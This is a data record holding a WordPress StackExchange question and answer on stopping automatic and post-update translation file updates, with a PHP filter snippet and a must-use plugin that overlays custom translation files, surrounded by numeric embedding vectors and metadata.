0.01043701171875, -0.01358795166015625, -0.033172607421875, 0.002086639404296875, 0.005069732666015625, 0.002277374267578125, -0.003307342529296875, -0.0067901611328125, -0.0279693603515625, 0.0243682861328125, -0.01288604736328125, 0.031768798828125, 0.055755615234375, 0.0085601806640625, -0.0211029052734375, -0.034393310546875, -0.032928466796875, -0.0177764892578125, -0.06304931640625, 0.001834869384765625, 0.053955078125, -0.00579071044921875, -0.0516357421875, 0.0225372314453125, 0.0010938644409179688, 0.005237579345703125, 0.043243408203125, 0.00417327880859375, 0.00444793701171875, -0.03314208984375, -0.04718017578125, -0.039703369140625, 0.05926513671875, 0.00804901123046875, -0.0230560302734375, 0.005767822265625, 0.00676727294921875, -0.0203094482421875, 0.007080078125, -0.05810546875, -0.0233612060546875, 0.04522705078125, 0.00818634033203125, 0.03436279296875, -0.0335693359375, -0.02423095703125, -0.02667236328125, 0.0576171875, 0.00846099853515625, 0.00948333740234375, 0.0020999908447265625, -0.0182342529296875, -0.0203094482421875, -0.005001068115234375, -0.075927734375, 0.005817413330078125, -0.007274627685546875, 0.01346588134765625, -0.002307891845703125, 0.005779266357421875, -0.0024929046630859375, 0.0016584396362304688, 0.0113983154296875, -0.0233612060546875, 0.03851318359375, -0.01190185546875, 0.021728515625, -0.0018157958984375, 0.03662109375, -0.060638427734375, -0.007289886474609375, -0.0018014907836914062, -0.06781005859375, -0.01175689697265625, -0.0260009765625, 0.041351318359375, 0.037750244140625, -0.057220458984375, -0.005306243896484375, 0.0328369140625, 0.00911712646484375, 0.01139068603515625, 0.00992584228515625, -0.0111083984375, -0.006378173828125, 0.05078125, 0.0223388671875, 0.0017404556274414062, -0.0396728515625, -0.00264739990234375, 0.0080718994140625, 0.043426513671875, 0.00769805908203125, -0.0197906494140625, 0.03497314453125, 0.0005784034729003906, -0.0237579345703125, -0.0116729736328125, -0.003765106201171875, 0.042266845703125, -0.020751953125, 0.0189971923828125, -0.02484130859375, -0.0283050537109375, 0.0347900390625, -0.020904541015625, -0.023193359375, 0.002750396728515625, 0.026611328125, 0.0215301513671875, -0.0164947509765625, -0.0264739990234375, 0.02752685546875, 0.05499267578125, -0.02154541015625, 0.07379150390625, 0.045654296875, -0.04150390625, 0.098876953125, 0.01666259765625, 0.01373291015625, 0.048370361328125, 0.0109405517578125, 0.035552978515625, -0.0295257568359375, 0.041290283203125, 0.0740966796875, -0.0994873046875, 0.01071929931640625, -0.01317596435546875, 0.04278564453125, 0.039031982421875, -0.033203125, -0.04583740234375, 0.002124786376953125, 0.0216064453125, -0.05255126953125, 0.0136260986328125, 0.032958984375, -0.016204833984375, -0.005580902099609375, 0.01201629638671875, 0.00463104248046875, 0.028289794921875, -0.006885528564453125, -0.036590576171875, -0.0239105224609375, -0.041534423828125, 0.03173828125, -0.058135986328125, -0.03387451171875, -0.004978179931640625, -0.012603759765625, 0.043609619140625, -0.01407623291015625, -0.05657958984375, 0.01303863525390625, -0.00675201416015625, 0.026824951171875, 0.0200653076171875, -0.0170440673828125, 0.01001739501953125, 0.03912353515625, 0.0019702911376953125, 0.0038852691650390625, 0.0030879974365234375, 0.0177764892578125, -0.0245208740234375, 0.002040863037109375, -0.0135345458984375, -0.01348876953125, -0.01488494873046875, 0.041534423828125, -0.025634765625, 0.0184783935546875, -0.0055389404296875, 0.0296630859375, -0.0238189697265625, 0.049407958984375, 0.0114288330078125, -0.0175628662109375, -0.01334381103515625, 0.044586181640625, -0.0411376953125, -0.027862548828125, -0.032958984375, 0.03582763671875, 0.035491943359375, -0.051849365234375, -0.032470703125, 0.03240966796875, -0.008270263671875, 0.0007777214050292969, -0.0171661376953125, -0.043365478515625, 0.00785064697265625, -0.01308441162109375, 0.0035190582275390625, 0.0265045166015625, 0.0127410888671875, 0.0031757354736328125, 0.024017333984375, 0.0367431640625, 0.0494384765625, -0.0293121337890625, 0.006378173828125, 0.0006289482116699219, 0.0006971359252929688, 0.0211334228515625, -0.0443115234375, -0.0440673828125, -0.00412750244140625, 0.020416259765625, -0.01523590087890625, 0.006801605224609375, 0.021575927734375, -0.040679931640625, 0.001873016357421875, -0.0367431640625, 0.03515625, -0.064697265625, 0.01255035400390625, 0.0269012451171875, 0.03326416015625, 0.009613037109375, -0.0166168212890625, -0.010986328125, -0.0234222412109375, -0.005092620849609375, -0.036773681640625, -0.02435302734375, -0.01641845703125, -0.005008697509765625, 0.0196533203125, -0.0243682861328125, -0.02288818359375, 0.0035495758056640625, 0.0264892578125, -0.0030975341796875, 0.06097412109375, 0.01369476318359375, 0.03070068359375, -0.0156707763671875, 0.047637939453125, 0.0254364013671875, 0.033538818359375, -0.008392333984375, -0.0457763671875, -0.0015668869018554688, -0.060394287109375, -0.02362060546875, 0.00849151611328125, -0.027862548828125, 0.0498046875, 0.04779052734375, 0.00945281982421875, 0.039337158203125, 0.002872467041015625, 0.013641357421875, -0.005764007568359375, 0.008880615234375, -0.026458740234375, 0.0177154541015625, 0.0318603515625, -0.0137481689453125, -0.0277099609375, -0.00638580322265625, -0.0175628662109375, 0.00890350341796875, 0.0231475830078125, -0.007404327392578125, -0.006427764892578125, 0.00792694091796875, 0.06658935546875, 0.080322265625, -0.036407470703125, 0.032196044921875, 0.06585693359375, -0.01348876953125, 0.01702880859375, 0.0269622802734375, 0.00897216796875, -0.033782958984375, -0.00472259521484375, -0.007633209228515625, -0.013275146484375, -0.0201873779296875, -0.0176544189453125, 0.01898193359375, 0.054046630859375, 0.0787353515625, -0.0693359375, -0.00931549072265625, 0.01561737060546875, -0.0298004150390625, 0.0159454345703125, -0.004230499267578125, -0.01490020751953125, -0.0185699462890625, 0.00691986083984375, -0.01322174072265625, -0.038116455078125, 0.00046062469482421875, 0.01446533203125, -0.0086212158203125, 0.0024566650390625, 0.0226898193359375, 0.01001739501953125, 0.002368927001953125, 0.0078125, -0.01165771484375, 0.035064697265625, -0.00243377685546875, -0.004261016845703125, 0.019256591796875, -0.044097900390625, -0.05511474609375, -0.00048732757568359375, -0.006526947021484375, -0.036865234375, -0.031280517578125, -0.006175994873046875, -0.004093170166015625, 0.0677490234375, -0.049835205078125, 0.0100250244140625, 0.04718017578125, -0.034332275390625, 0.017852783203125, -0.02117919921875, 0.011444091796875, 0.053863525390625, -0.062225341796875, 0.0176239013671875, 0.00989532470703125, 0.0032215118408203125, -0.0237579345703125, -0.034759521484375, 0.08447265625, -0.046417236328125, -0.00008875131607055664, 0.0270843505859375, 0.038177490234375, -0.0294036865234375, -0.032470703125, 0.0321044921875, -0.043609619140625, 0.0310211181640625, -0.01126861572265625, 0.043914794921875, -0.028778076171875, -0.041351318359375, -0.07196044921875, 0.05267333984375, -0.01146697998046875, 0.0214385986328125, -0.005779266357421875, 0.01274871826171875, -0.021575927734375, -0.0195770263671875, -0.033782958984375, 0.07379150390625, 0.05609130859375, 0.03594970703125, -0.0023441314697265625, -0.00826263427734375, 0.043182373046875, 0.0286865234375, 0.02777099609375, 0.0199432373046875, -0.0278167724609375, -0.0028514862060546875, -0.0008683204650878906, -0.0157928466796875, -0.03369140625, 0.05438232421875, 0.0037593841552734375, 0.0110321044921875, 0.027862548828125, -0.04443359375, 0.011962890625, -0.01654052734375, 0.0067138671875, 0.0328369140625, 0.0277099609375, 0.0230712890625, 0.0253448486328125, 0.0219879150390625, 0.00032711029052734375, 0.003894805908203125, 0.01204681396484375, -0.014617919921875, -0.0254058837890625, 0.0643310546875, 0.049835205078125, -0.050933837890625, -0.0394287109375, -0.037445068359375, 0.04644775390625, 0.035552978515625, 0.087646484375, 0.04473876953125, 0.03765869140625, 0.0377197265625, 0.0021343231201171875, 0.0633544921875, 0.0177459716796875, -0.06231689453125, 0.023895263671875, 0.01372528076171875, 0.031646728515625, -0.020965576171875, -0.0094757080078125, 0.023895263671875, 0.033355712890625, -0.020294189453125, -0.0318603515625, 0.01239776611328125, 0.016937255859375, 0.02215576171875, -0.004596710205078125, 0.040130615234375, -0.0290069580078125, 0.010528564453125, -0.025909423828125, -0.00568389892578125, 0.02935791015625, 0.012298583984375, 0.01512908935546875, 0.040863037109375, -0.01555633544921875, -0.0205078125, -0.044586181640625, 0.058837890625, 0.00858306884765625, 0.0191650390625, -0.0290069580078125, 0.069580078125, -0.0220794677734375, -0.0010890960693359375, 0.01012420654296875, -0.0007266998291015625, -0.00958251953125, -0.0157623291015625, -0.005504608154296875, -0.0166778564453125, 0.0290679931640625, 0.016815185546875, -0.004840850830078125, -0.0163421630859375, 0.03155517578125, 0.033935546875, -0.0209503173828125, -0.024688720703125, 0.01548004150390625, -0.0086822509765625, -0.06866455078125, -0.043609619140625, -0.033477783203125, 0.01284027099609375, 0.01361846923828125, 0.0382080078125, 0.020294189453125, -0.0008759498596191406, -0.021392822265625, 0.057586669921875, -0.005687713623046875, 0.0137176513671875, 0.0263519287109375, -0.033782958984375, -0.0063629150390625, -0.0030193328857421875, -0.0253143310546875, 0.005275726318359375, -0.03369140625, -0.03564453125, 0.003147125244140625, 0.0211639404296875, -0.030731201171875, 0.0643310546875, -0.016448974609375, 0.0008597373962402344, 0.010162353515625, -0.018402099609375, 0.0099334716796875, -0.025390625, 0.016204833984375, -0.019866943359375, -0.0285186767578125, -0.0189056396484375, -0.020355224609375, 0.04595947265625, -0.0254669189453125, 0.1373291015625, -0.054168701171875, 0.005023956298828125, -0.0655517578125, -0.0008249282836914062, -0.0199737548828125, -0.0243072509765625, 0.0003795623779296875, 0.043792724609375, -0.0003135204315185547, -0.00972747802734375, -0.0272064208984375, 0.00093841552734375, 0.02447509765625, -0.0096282958984375, 0.0258941650390625, -0.052032470703125, 0.02178955078125, -0.0269012451171875, 0.003208160400390625, -0.034210205078125, -0.034881591796875, -0.0161285400390625, 0.0281982421875, -0.00533294677734375, 0.0312347412109375, 0.003528594970703125, 0.0097808837890625, 0.05010986328125, -0.0325927734375, 0.0248565673828125, -0.0251617431640625, 0.07061767578125, 0.03912353515625, 0.0203399658203125, 0.0225067138671875, 0.003078460693359375, -0.0225830078125, 0.009063720703125, 0.01421356201171875, -0.018707275390625, 0.0055694580078125, 0.0036773681640625, -0.0202484130859375, 0.01169586181640625, 0.023193359375, 0.0276336669921875, -0.0015153884887695312, -0.0019168853759765625, -0.0189056396484375, -0.0229644775390625, 0.044708251953125, -0.005039215087890625, -0.037261962890625, 0.0002073049545288086, 0.0080413818359375, -0.0038013458251953125, 0.0250701904296875, -0.0019092559814453125, -0.0254364013671875, -0.001697540283203125, 0.00848388671875, -0.036590576171875, 0.002933502197265625, 0.0135345458984375, -0.00353240966796875, -0.010650634765625, 0.0300445556640625, -0.01290130615234375, 0.0200042724609375, -0.0584716796875, -0.04827880859375, -0.03765869140625, 0.035003662109375, -0.0458984375, -0.007198333740234375, 0.00911712646484375, 0.0179595947265625, -0.022186279296875, -0.0166168212890625, -0.004009246826171875, 0.01556396484375, -0.0184173583984375, 0.007904052734375, 0.0188140869140625, 0.021331787109375, -0.04266357421875, -0.07720947265625, 0.005725860595703125, -0.022064208984375, 0.01244354248046875, -0.005523681640625, 0.005062103271484375, 0.0278167724609375, -0.03564453125, -0.06292724609375, 0.04583740234375, -0.010711669921875, -0.0282745361328125, -0.03997802734375, 0.0017223358154296875, 0.023162841796875, -0.00567626953125, -0.0275421142578125, 0.00146484375, -0.035400390625, 0.004787445068359375, -0.01416015625, 0.055419921875, -0.007213592529296875, -0.0215911865234375, -0.038909912109375, 0.010894775390625, -0.013214111328125, 0.006427764892578125, -0.02313232421875, 0.00821685791015625, 0.01031494140625, -0.0017213821411132812, -0.041259765625, 0.006805419921875, 0.01480865478515625, 0.06256103515625, -0.0211334228515625, -0.053436279296875, -0.006595611572265625, 0.01070404052734375, 0.06842041015625, 0.052276611328125, 0.0069580078125, -0.04937744140625, 0.0138092041015625, -0.0005650520324707031, -0.01190185546875, -0.0047149658203125, 0.00455474853515625, -0.037933349609375, -0.0201873779296875, -0.0061187744140625, 0.00501251220703125, 0.032684326171875, -0.08697509765625, -0.0301513671875, -0.0155029296875, -0.05670166015625, 0.002979278564453125, 0.0015764236450195312, -0.038238525390625, -0.0113372802734375, 0.007785797119140625, 0.0160369873046875, -0.01117706298828125, 0.032073974609375, -0.01155853271484375, 0.04913330078125, -0.0159454345703125, -0.0265045166015625, -0.003391265869140625, 0.01416015625, 0.007686614990234375, 0.02728271484375, -0.0017070770263671875, -0.0178070068359375, -0.01175689697265625, 0.007843017578125, -0.0016336441040039062, 0.023101806640625, 0.0270538330078125, -0.04180908203125, -0.01169586181640625, 0.007442474365234375, -0.04034423828125, 0.037200927734375, -0.0210113525390625, 0.00977325439453125, 0.0157623291015625, 0.004344940185546875, 0.07342529296875, -0.040863037109375, -0.00653076171875, 0.031829833984375, -0.0306396484375, -0.044586181640625, 0.0023441314697265625, 0.0114288330078125, 0.0273590087890625, -0.00434112548828125 ]
82b6159409754ab69654bd9b7a471ac2f1d98f5a
Wordpress Stackexchange Q: Disabling Translation Update There are two ways that WordPress updates translation files inside Languages folder: 1. Automatic updates whenever it gets triggered. 2. Manually when user requests it on "Updates" page. Is there a way to disable both of them, so no changes can apply to Languages folder? A: I have this snippet that disables automatic translation update: if( function_exists('add_filter') ){add_filter( 'auto_update_translation', '__return_false' );} That's one problem solved. But if I update plugins manually, WordPress updates translations afterward. How to fix this part too? Any ideas?
Q: Disabling Translation Update There are two ways that WordPress updates translation files inside Languages folder: 1. Automatic updates whenever it gets triggered. 2. Manually when user requests it on "Updates" page. Is there a way to disable both of them, so no changes can apply to Languages folder? A: I have this snippet that disables automatic translation update: if( function_exists('add_filter') ){add_filter( 'auto_update_translation', '__return_false' );} That's one problem solved. But if I update plugins manually, WordPress updates translations afterward. How to fix this part too? Any ideas? A: You've already given the answer using auto_update_translation. I wasn't aware this didn't work after manual updates (and haven't tried it) but perhaps also look at async_update_translation which according the documentation "Asynchronously upgrades language packs after other upgrades have been made". Regardless of the above, I recommend a different approach whereby the community translations are still installed, but your own custom translations override when (and only when) they exist. This means you have the advantage of improving the translations you dislike, while still benefiting from any new translations appearing before you know about them. (i.e. source strings changing after plugin updates). To do this you'll have two copies of each language file and force WordPress to load them on top of each other with yours taking precedence. (1) Mimic the languages folder structure in a parallel directory, and move your own custom translation files so you have paths like this for whatever your language is: wp-content/my-translations/plugins/foo-en_GB.mo (2) Add the following code as a must-use plugin to ensure it's ready before anything else tries to bootstrap its translations. <?php /* Plugin Name: Custom Translations Description: Merges translations under my-languages on top of those installed. */ function my_custom_load_textdomain_hook( $domain = '', $mofile = '' ){ $basedir = trailingslashit(WP_LANG_DIR); $baselen = strlen($basedir); // only run this if file being loaded is under WP_LANG_DIR if( $basedir === substr($mofile,0,$baselen) ){ // Our custom directory is parallel to languages directory if( $mofile = realpath( $basedir.'../my-languages/'.substr($mofile,$baselen) ) ){ load_textdomain( $domain, $mofile ); } } } add_action( 'load_textdomain', 'my_custom_load_textdomain_hook', 10, 2 ); Note that your custom files need only contain the strings you want to change. This relies on WordPress's current merging strategy. In the code above your file actually completes first, then is merged on top of the installed file.
wordpress
{ "language": "en", "length": 380, "provenance": "stackexchange_00019.jsonl.gz:485431", "question_score": "5", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/300764" }
[ 0.0517578125, -0.02783203125, 0.03936767578125, -0.028167724609375, -0.025238037109375, -0.0037708282470703125, 0.0177001953125, -0.017547607421875, 0.0203094482421875, 0.0479736328125, -0.01480865478515625, -0.0386962890625, 0.067626953125, -0.0175323486328125, -0.0246734619140625, -0.0186309814453125, 0.050201416015625, -0.024322509765625, 0.01280975341796875, -0.01476287841796875, -0.013031005859375, 0.01413726806640625, 0.050628662109375, 0.01031494140625, -0.0186309814453125, -0.001956939697265625, 0.06927490234375, -0.010894775390625, -0.0262603759765625, -0.0219573974609375, 0.00995635986328125, 0.0054168701171875, 0.0120086669921875, 0.03656005859375, -0.061431884765625, -0.07171630859375, -0.02850341796875, 0.0091552734375, -0.032257080078125, 0.0215606689453125, 0.022918701171875, -0.01444244384765625, -0.005023956298828125, 0.03955078125, -0.000286102294921875, -0.0511474609375, 0.0262603759765625, -0.05596923828125, 0.01163482666015625, 0.0323486328125, -0.01629638671875, 0.023040771484375, 0.00135040283203125, 0.0133819580078125, 0.007648468017578125, -0.0097808837890625, -0.026214599609375, 0.065185546875, 0.0176849365234375, -0.010711669921875, -0.0141754150390625, 0.030731201171875, 0.01323699951171875, 0.00351715087890625, -0.005329132080078125, -0.0201873779296875, -0.01255035400390625, 0.014678955078125, -0.0703125, -0.0045623779296875, 0.06597900390625, -0.052581787109375, 0.01837158203125, -0.039398193359375, 0.01277923583984375, 0.0362548828125, -0.04150390625, -0.0234222412109375, 0.038360595703125, -0.0196990966796875, 0.0352783203125, -0.0017271041870117188, -0.005580902099609375, -0.009033203125, 0.01328277587890625, 0.012725830078125, -0.006282806396484375, -0.019683837890625, -0.058349609375, -0.03399658203125, -0.0380859375, -0.0174102783203125, -0.09527587890625, 0.01934814453125, 0.012054443359375, -0.0119781494140625, 0.009979248046875, 0.04132080078125, -0.034942626953125, 0.004604339599609375, -0.003833770751953125, -0.023193359375, -0.003009796142578125, -0.0305328369140625, 0.007595062255859375, -0.005184173583984375, -0.02459716796875, 0.0013093948364257812, 0.051544189453125, 0.048492431640625, 0.009124755859375, 0.058441162109375, -0.00386810302734375, -0.0232391357421875, 0.0028209686279296875, 0.0012273788452148438, -0.0572509765625, 0.058807373046875, 0.00885772705078125, 0.035980224609375, -0.0180511474609375, -0.0018320083618164062, -0.031524658203125, -0.0082244873046875, 0.0308380126953125, -0.024688720703125, -0.02166748046875, 0.052734375, 0.005847930908203125, 0.0272369384765625, -0.0482177734375, -0.023651123046875, 0.0802001953125, 0.06756591796875, 0.043182373046875, -0.0266571044921875, -0.0196533203125, 0.01274871826171875, -0.0085601806640625, 0.01097869873046875, -0.0031890869140625, -0.0276031494140625, 0.010986328125, 0.01079559326171875, -0.037872314453125, -0.0256500244140625, 0.00379180908203125, 0.04937744140625, 0.009307861328125, -0.0089111328125, 0.00681304931640625, -0.019775390625, 0.04632568359375, -0.004520416259765625, 0.013702392578125, -0.0247802734375, 0.045501708984375, -0.0280303955078125, -0.0245513916015625, -0.0275726318359375, -0.024932861328125, -0.036865234375, -0.00862884521484375, -0.005870819091796875, -0.035064697265625, 0.060150146484375, 0.02880859375, 0.003993988037109375, 0.0277099609375, 0.01194000244140625, -0.0028629302978515625, -0.00035762786865234375, -0.004116058349609375, -0.0032939910888671875, 0.0034198760986328125, 0.00971221923828125, -0.0179901123046875, 0.003574371337890625, 0.01800537109375, 0.018035888671875, -0.005825042724609375, -0.0207366943359375, 0.06573486328125, -0.0002760887145996094, -0.0294952392578125, -0.01235198974609375, -0.004116058349609375, 0.01776123046875, 0.04901123046875, 0.01108551025390625, -0.00386810302734375, -0.01385498046875, -0.01666259765625, 0.034149169921875, -0.004528045654296875, -0.0240478515625, 0.006122589111328125, 0.0234375, -0.0048675537109375, -0.0416259765625, 0.004840850830078125, -0.0161895751953125, -0.011077880859375, -0.01374053955078125, -0.05877685546875, -0.013275146484375, -0.020904541015625, 0.0364990234375, 0.013580322265625, 0.0209197998046875, -0.0009341239929199219, -0.00598907470703125, -0.01338958740234375, 0.0014963150024414062, -0.021728515625, -0.00830078125, -0.0276947021484375, 0.04974365234375, 0.01436614990234375, 0.0330810546875, 0.039154052734375, -0.04107666015625, 0.044708251953125, -0.003467559814453125, -0.02484130859375, -0.0167083740234375, -0.0023040771484375, -0.00830078125, 0.0253448486328125, -0.0252838134765625, 0.09716796875, 0.022247314453125, -0.033782958984375, -0.044647216796875, -0.041290283203125, 0.000014841556549072266, -0.046173095703125, -0.08355712890625, -0.0004925727844238281, 0.0716552734375, 0.0276336669921875, -0.0003254413604736328, -0.0090789794921875, 0.0361328125, 0.0184783935546875, -0.036773681640625, 0.0018367767333984375, 0.033203125, 0.0291290283203125, 0.045623779296875, -0.01270294189453125, -0.013702392578125, 0.01035308837890625, -0.0653076171875, 0.0096893310546875, 0.025909423828125, -0.05078125, -0.052398681640625, 0.0258636474609375, -0.0181884765625, 0.021942138671875, -0.050811767578125, -0.016754150390625, -0.0177001953125, 0.04425048828125, -0.04156494140625, 0.0079498291015625, -0.0105743408203125, -0.0285797119140625, -0.000850677490234375, 0.040283203125, -0.00939178466796875, -0.00299072265625, 0.0185546875, -0.03948974609375, -0.041595458984375, 0.01025390625, 0.007694244384765625, -0.037506103515625, -0.0211944580078125, -0.0298919677734375, -0.004840850830078125, -0.004467010498046875, -0.021270751953125, 0.007534027099609375, -0.0335693359375, 0.0128936767578125, -0.054351806640625, -0.0521240234375, -0.0254364013671875, 0.01476287841796875, 0.0124359130859375, -0.0165557861328125, -0.0059967041015625, 0.041717529296875, -0.0177001953125, 0.045440673828125, -0.029693603515625, 0.0053558349609375, -0.015533447265625, 0.0596923828125, 0.0672607421875, 0.016571044921875, -0.0196380615234375, 0.016448974609375, -0.0193939208984375, 0.0243377685546875, 0.00504302978515625, -0.004970550537109375, 0.0281982421875, -0.09149169921875, -0.0162811279296875, -0.005428314208984375, 0.00020170211791992188, -0.070556640625, -0.060211181640625, -0.03973388671875, -0.038238525390625, -0.1060791015625, -0.03607177734375, 0.01319122314453125, -0.00873565673828125, 0.02947998046875, 0.03021240234375, 0.0160980224609375, -0.049072265625, 0.053253173828125, 0.00799560546875, -0.013885498046875, -0.002185821533203125, -0.00681304931640625, 0.00016605854034423828, -0.0091400146484375, 0.01197052001953125, 0.01073455810546875, -0.011383056640625, 0.0119781494140625, 0.0465087890625, 0.0028324127197265625, -0.053192138671875, 0.017547607421875, 0.030731201171875, -0.0045318603515625, 0.0308074951171875, -0.0027618408203125, -0.0015497207641601562, 0.0257415771484375, -0.006610870361328125, -0.0072174072265625, 0.051910400390625, -0.0360107421875, -0.00457763671875, 0.0257568359375, 0.006237030029296875, 0.03900146484375, -0.048309326171875, -0.041534423828125, 0.04071044921875, -0.01203155517578125, -0.0260009765625, -0.046630859375, -0.00018155574798583984, -0.041168212890625, 0.029937744140625, 0.00855255126953125, -0.00319671630859375, -0.006237030029296875, 0.045257568359375, 0.0277862548828125, 0.01007080078125, 0.0246124267578125, -0.00254058837890625, 0.00989532470703125, 0.0037479400634765625, 0.02288818359375, -0.0306243896484375, 0.064453125, 0.01274871826171875, 0.035064697265625, 0.0274200439453125, 0.034332275390625, -0.011749267578125, 0.0195159912109375, -0.07696533203125, 0.023681640625, 0.020111083984375, -0.027008056640625, 0.008575439453125, 0.0171661376953125, -0.00363922119140625, 0.001537322998046875, 0.0219879150390625, -0.01163482666015625, -0.0220794677734375, 0.00740814208984375, 0.035003662109375, -0.050506591796875, -0.042266845703125, -0.0125732421875, 0.00881195068359375, 0.051300048828125, -0.0102996826171875, -0.0242156982421875, 0.0196075439453125, -0.03521728515625, 0.0186920166015625, 0.02294921875, -0.005817413330078125, 0.032562255859375, 0.001399993896484375, 0.004825592041015625, -0.00852203369140625, -0.0186920166015625, -0.022796630859375, -0.033203125, 0.0026111602783203125, -0.073974609375, 0.01271820068359375, -0.054107666015625, 0.0263214111328125, 0.01158905029296875, 0.006473541259765625, -0.032806396484375, 0.005176544189453125, 0.002750396728515625, 0.00099945068359375, 0.017333984375, -0.0029468536376953125, 0.0472412109375, 0.04718017578125, 0.019012451171875, 0.0087127685546875, 0.0143585205078125, 0.038909912109375, -0.023956298828125, 0.084716796875, -0.0225677490234375, 0.001068115234375, 0.0241851806640625, -0.057342529296875, -0.040679931640625, -0.03314208984375, -0.0572509765625, 0.01482391357421875, -0.0225830078125, -0.0030841827392578125, -0.061737060546875, -0.07470703125, 0.08074951171875, 0.0200042724609375, 0.0023365020751953125, -0.01117706298828125, 0.0914306640625, 0.0011577606201171875, -0.04150390625, -0.07171630859375, 0.043609619140625, 0.058258056640625, 0.058380126953125, 0.00704193115234375, 0.01190948486328125, -0.041717529296875, 0.041168212890625, 0.0546875, -0.0211181640625, 0.034423828125, 0.023590087890625, 0.00106048583984375, -0.0281982421875, 0.0071868896484375, -0.03436279296875, -0.018157958984375, 0.03106689453125, 0.0198974609375, -0.0110015869140625, 0.01155853271484375, 0.01438140869140625, -0.00582122802734375, -0.0113372802734375, -0.013580322265625, -0.06683349609375, 0.04034423828125, 0.0662841796875, -0.054473876953125, -0.01678466796875, 0.01416015625, -0.0206451416015625, -0.0408935546875, -0.01385498046875, 0.0218963623046875, 0.0063629150390625, -0.00374603271484375, 0.042388916015625, -0.0162200927734375, -0.0202484130859375, -0.0024890899658203125, -0.01471710205078125, 0.0268402099609375, -0.033477783203125, -0.05462646484375, -0.00589752197265625, 0.0009002685546875, 0.057037353515625, 0.074951171875, 0.01459503173828125, 0.023956298828125, -0.0210113525390625, -0.01003265380859375, 0.0160980224609375, 0.0074462890625, -0.0232696533203125, -0.026092529296875, -0.032623291015625, 0.00989532470703125, -0.027374267578125, 0.00434112548828125, 0.0267181396484375, -0.01230621337890625, 0.01302337646484375, -0.0134735107421875, -0.0004565715789794922, -0.005035400390625, 0.0003216266632080078, 0.01439666748046875, 0.02227783203125, 0.02008056640625, -0.027984619140625, 0.038177490234375, -0.0249481201171875, -0.0089874267578125, 0.041839599609375, 0.0419921875, -0.0277557373046875, -0.029693603515625, 0.00774383544921875, -0.0254364013671875, -0.0171356201171875, 0.0406494140625, 0.05322265625, -0.01416015625, -0.0294952392578125, -0.013214111328125, 0.00897979736328125, -0.007419586181640625, -0.00762176513671875, -0.02294921875, -0.049041748046875, -0.036773681640625, 0.061004638671875, -0.05029296875, -0.0196075439453125, -0.006862640380859375, -0.0050048828125, -0.0260162353515625, -0.00852203369140625, -0.045166015625, 0.002651214599609375, -0.003665924072265625, 0.01030731201171875, -0.017669677734375, -0.01290130615234375, -0.002056121826171875, 0.0058441162109375, -0.008026123046875, 0.080322265625, 0.0180511474609375, 0.037567138671875, -0.0240020751953125, -0.06005859375, -0.00478363037109375, -0.037628173828125, -0.019012451171875, -0.09417724609375, -0.05902099609375, -0.056365966796875, 0.039703369140625, -0.0268402099609375, 0.022613525390625, -0.0192718505859375, 0.006191253662109375, -0.031646728515625, 0.0255279541015625, 0.0069427490234375, 0.044189453125, -0.00363922119140625, 0.0399169921875, 0.01036834716796875, 0.041961669921875, 0.026702880859375, 0.043701171875, -0.01375579833984375, -0.0380859375, 0.01047515869140625, 0.001216888427734375, -0.00396728515625, -0.00264739990234375, -0.0002963542938232422, -0.033203125, 0.0229034423828125, -0.0053558349609375, -0.0002110004425048828, -0.0240325927734375, 0.00540924072265625, -0.0263671875, 0.032806396484375, -0.033721923828125, 0.004276275634765625, 0.013580322265625, -0.02667236328125, 0.0070648193359375, -0.01404571533203125, -0.030609130859375, 0.038360595703125, -0.0261077880859375, 0.0268707275390625, 0.0233154296875, 0.0004444122314453125, 0.00730133056640625, 0.023345947265625, 0.0182342529296875, 0.0386962890625, 0.01397705078125, 0.0428466796875, 0.0155792236328125, -0.0300445556640625, 0.0057373046875, 0.02545166015625, -0.00394439697265625, -0.0295562744140625, 0.0106353759765625, -0.01514434814453125, -0.0027751922607421875, 0.0214385986328125, 0.11590576171875, 0.08984375, -0.11181640625, -0.024169921875, 0.006961822509765625, -0.047821044921875, -0.01806640625, -0.0019073486328125, -0.035400390625, -0.08197021484375, 0.056915283203125, -0.042633056640625, -0.0231475830078125, -0.00988006591796875, -0.0213775634765625, -0.01983642578125, 0.01174163818359375, 0.01273345947265625, 0.0260162353515625, 0.0051422119140625, -0.0225677490234375, 0.01439666748046875, 0.00839996337890625, -0.0198822021484375, -0.014923095703125, 0.0087432861328125, -0.0269012451171875, -0.06439208984375, 0.00756072998046875, -0.0115814208984375, -0.00017702579498291016, 0.0176849365234375, -0.0167694091796875, 0.043701171875, 0.0777587890625, -0.0257720947265625, 0.0184326171875, 0.04058837890625, -0.00994110107421875, -0.013397216796875, -0.0176544189453125, 0.00518798828125, 0.025115966796875, 0.0170440673828125, 0.01045989990234375, 0.01335906982421875, -0.0318603515625, -0.0014781951904296875, -0.00853729248046875, 0.0531005859375, 0.021484375, -0.035491943359375, 0.04669189453125, -0.0139312744140625, -0.03887939453125, -0.002811431884765625, 0.01291656494140625, -0.049560546875, -0.0163726806640625, -0.0020465850830078125, -0.03314208984375, -0.0217742919921875, 0.0048828125, -0.06341552734375, 0.09393310546875, 0.00005120038986206055, 0.024383544921875, -0.02166748046875, 0.038665771484375, -0.00394439697265625, 0.021575927734375, -0.0287017822265625, -0.00730133056640625, -0.0006799697875976562, 0.02716064453125, -0.01397705078125, -0.00609588623046875, -0.001972198486328125, 0.035736083984375, 0.0298614501953125, 0.0030651092529296875, 0.0109100341796875, -0.01459503173828125, 0.025115966796875, 0.042144775390625, 0.005672454833984375, -0.0015773773193359375, -0.01299285888671875, 0.047119140625, 0.009490966796875, -0.0277099609375, 0.03875732421875, -0.0333251953125, -0.07672119140625, -0.0054931640625, 0.00312042236328125, -0.0255126953125, -0.00220489501953125, 0.051483154296875, -0.0258026123046875, -0.00933837890625, 0.0106964111328125, 0.00812530517578125, 0.01092529296875, -0.0002727508544921875, 0.0294952392578125, -0.009918212890625, 0.0230865478515625, -0.0214996337890625, 0.044158935546875, 0.0147552490234375, 0.004974365234375, 0.0175323486328125, 0.01451873779296875, -0.01404571533203125, 0.00445556640625, 0.01113128662109375, 0.0300445556640625, -0.0231170654296875, 0.0057830810546875, 0.01317596435546875, 0.046661376953125, 0.01535797119140625, 0.007762908935546875, -0.005344390869140625, -0.00553131103515625, -0.004421234130859375, 0.0035152435302734375, 0.01198577880859375, -0.0153961181640625, -0.0259246826171875, -0.042327880859375, -0.033966064453125, 0.02484130859375, 0.0200042724609375, -0.00441741943359375, 0.0002237558364868164, 0.013946533203125, 0.006252288818359375, -0.0008106231689453125, 0.00867462158203125, 0.0118560791015625, 